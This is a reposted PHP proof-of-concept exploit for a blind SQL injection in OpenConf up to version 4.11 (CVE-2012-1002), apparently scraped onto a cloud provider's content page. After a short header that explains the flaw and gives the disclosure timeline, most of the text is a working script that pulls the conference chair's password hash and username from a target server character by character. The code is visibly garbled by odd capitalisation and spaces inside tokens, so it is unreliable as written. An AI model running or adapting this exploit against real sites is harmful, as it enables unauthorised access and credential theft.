OpenConf & lt; = 4.11 (author/edit. php) Remote blind injection defect and repair

Source: Internet
Author: User

<? Php
 

 
/*
 
---------------------------------------------------------------------
 
OpenConf <= 4.11 (author/edit. php) Remote Blind SQL Injection Exploit
 
---------------------------------------------------------------------
 

 
Author ......: Egidio Romano aka EgiX
 
Mail ......: n0b0d13s [at] gmail [dot] com
 
Software link ......: http://www.openconf.com/
 
Affected versions...: from 4.00 to 4.11
 

 
+ ------------------------------------------------------------------------- +
 
| This proof of concept code was written for educational purpose only. |
 
| Use it at your own risk. Author will be not responsible for any damage. |
 
+ ------------------------------------------------------------------------- +
 

 
[-] Vulnerable code in/author/edit. php:
 

 
104. // get sub
 
105. $ anr = ocsql_query ("SELECT * FROM '". OCC_TABLE_PAPER. "'where' paperid' =". safeSQLstr ($ _ POST ['pid '])...
 
106. if (mysql_num_rows ($ anr )! = 1 ){
 
107. err (oc _ ('submission ID or password entered is incorrect '));
 
108 .}
 
109. $ _ POST = array_merge ($ _ POST, mysql_fetch_assoc ($ anr ));
 

 
User input passed through $ _ POST ['pid '] seems correctly sanitised by the safeSQLstr () function, but in the query
 
At line 105, single quotes aren't used before concatenate the user input into the query string. This can be
 
Exploited to conducting CT a Blind SQL Injection attack. Successful exploitation of this vulnerability requires
 
Least a record into the 'paper' table, and 'edit submission' to be enabled.
 

 
[-] Disclosure timeline:
 

 
[27/01/2012]-Vulnerability discovered
 
[01/02/2012]-Issue reported to bugs (at) openconf.com
 
[02/02/2012]-Version 4.12 released: http://www.openconf.com/news/#20120202
 
[02/02/2012]-CVE number requested
 
[02/02/2012]-Assigned CVE-2012-1002
 
[02/05/2012]-Public disclosure
 

 
*/
 

 
If (! Extension_loaded ('curl') die ("curl extension required \ n ");
 

 
Error_reporting (E_ERROR );
 
Set_time_limit (0 );
 

 
Function http_get ($ page)
 
{
 
Global $ ch, $ argv;
 

 
Curl_setopt ($ ch, CURLOPT_URL, $ argv [1]. $ page );
 
Curl_setopt ($ ch, CURLOPT_GET, true );
 

 
Return curl_exec ($ ch );
 
}
 

 
Function http_post ($ page, $ data)
 
{
 
Global $ ch, $ argv;
 

 
Curl_setopt ($ ch, CURLOPT_URL, $ argv [1]. $ page );
 
Curl_setopt ($ ch, CURLOPT_POST, true );
 
Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ data );
 

 
Return curl_exec ($ ch );
 
}
 

 
Function hex_enc ($ SQL)
 
{
 
For ($ I = 0, $ n = strlen ($ SQL); $ I <$ n; $ I ++)
 
$ Encoded. = dechex (ord ($ SQL [$ I]);
 
Return "0x {$ encoded }";
 
}
 

 
Print "\ n + ------------------------------------------------------------- + ";
 
Print "\ n | OpenConf <= 4.11 Remote Blind SQL Injection Exploit by EgiX | ";
 
Print "\ n + ------------------------------------------------------------- + \ n ";
 

 
If ($ argc <2)
 
{
 
Print "\ nUsage...: php $ argv [0] <url> \ n ";
 
Print "\ nExample...: php $ argv [0] http: // 127.0.0.1 /";
 
Print "\ nExample...: php $ argv [0] http://www.bkjia.com/openconf/\ n ";
 
Die ();
 
}
 

 
$ Ch = curl_init ();
 
Curl_setopt ($ ch, CURLOPT_HEADER, 1 );
 
Curl_setopt ($ ch, CURLOPT_VERBOSE, 0 );
 
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
 

 
If (! Preg_match ('/href = "author \/edit. php "/', http_get ('openconf. php ') die ("\ n [-] Failed: submission edit disabled \ n ");
 

 
$ Index = 1;
 
$ Hash = '';
 
$ Chars = array_merge (range (48, 57), range (97,102), array (0); // 0-9 a-f
 

 
Print "\ n [-] Chair password hash ...:";
 

 
While (! Strpos ($ hash, chr (0 )))
 
{
 
For ($ I = 0, $ n = count ($ chars); $ I <= $ n; $ I ++)
 
{
 
If ($ I = $ n) die ("\ n [-] Exploit failed! \ N ");
 
$ SQL = urlencode ("-1 OR 1 = (select if (ASCII (SUBSTR (value, {$ index}, 1) ={$ chars [$ I]}, 0, 1) FROM config WHERE setting = ". hex_enc ("OC_chair_pwd "). ") LIMIT 1 #");
 
If (preg_match ("/is incorrect/", http_post ("author/edit. php "," ocaction = 1 & pid = {$ SQL} ") {$ hash. = chr ($ chars [$ I]); print chr ($ chars [$ I]); break ;}
 
}
 
$ Index ++;
 
}
 

 
$ Index = 1;
 
$ User = '';
 
$ Chars = array_merge (array (0), range (97,172), array (95), range (48, 57); // Any "word" character
 

 
Print "\ n [-] Chair username ........:";
 

 
While (! Strpos ($ user, chr (0 )))
 
{
 
For ($ I = 0, $ n = count ($ chars); $ I <= $ n; $ I ++)
 
{
 
If ($ I = $ n) die ("\ n [-] Exploit failed! \ N ");
 
$ SQL = rawurlencode ("-1 OR 1 = (select if (ASCII (SUBSTR (value, {$ index}, 1) ={$ chars [$ I]}, 0, 1) FROM config WHERE setting = ". hex_enc ("OC_chair_uname "). ") LIMIT 1 #");
 
If (preg_match ("/is incorrect/", http_post ("author/edit. php "," ocaction = 1 & pid = {$ SQL} ") {$ user. = chr ($ chars [$ I]); print chr ($ chars [$ I]); break ;}
 
}
 
$ Index ++;
 
}
 
Print "\ n ";
 
?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.